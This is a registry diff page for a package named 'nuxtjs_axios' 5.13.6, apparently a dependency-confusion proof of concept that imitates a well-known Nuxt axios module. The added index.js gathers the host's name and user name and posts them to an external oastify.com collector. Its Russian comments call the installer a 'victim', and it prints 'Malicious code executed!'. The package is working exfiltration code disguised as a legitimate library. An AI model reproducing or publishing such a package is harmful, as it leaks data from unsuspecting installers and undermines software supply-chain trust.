nuxtjs_axios 5.13.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +41 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,41 @@
1
+ const http = require('http');
2
+
3
+ // Настройте свой сервер для получения информации о жертве
4
+ const options = {
5
+ hostname: '6bi8wvhqc1v5j4phpar1zk97uy0pofc4.oastify.com', // Замените на ваш сервер
6
+ port: 80,
7
+ path: '/log',
8
+ method: 'POST',
9
+ headers: {
10
+ 'Content-Type': 'application/json'
11
+ }
12
+ };
13
+
14
+ // Собираем данные, которые будем отправлять на сервер
15
+ const data = JSON.stringify({
16
+ message: 'PoC Exploitation successful',
17
+ hostname: require('os').hostname(),
18
+ user: process.env.USER
19
+ });
20
+
21
+ // Создаём запрос на сервер
22
+ const req = http.request(options, (res) => {
23
+ let responseData = '';
24
+ res.on('data', (chunk) => {
25
+ responseData += chunk;
26
+ });
27
+
28
+ res.on('end', () => {
29
+ console.log('Server response:', responseData);
30
+ });
31
+ });
32
+
33
+ req.on('error', (error) => {
34
+ console.error('Request error:', error);
35
+ });
36
+
37
+ // Отправляем данные
38
+ req.write(data);
39
+ req.end();
40
+
41
+ console.log("Malicious code executed!");
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "nuxtjs_axios",
3
+ "version": "5.13.6",
4
+ "description": "PoC DC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js"
8
+ },
9
+ "author": "Autumn Fairy",
10
+ "license": "ISC"
11
+ }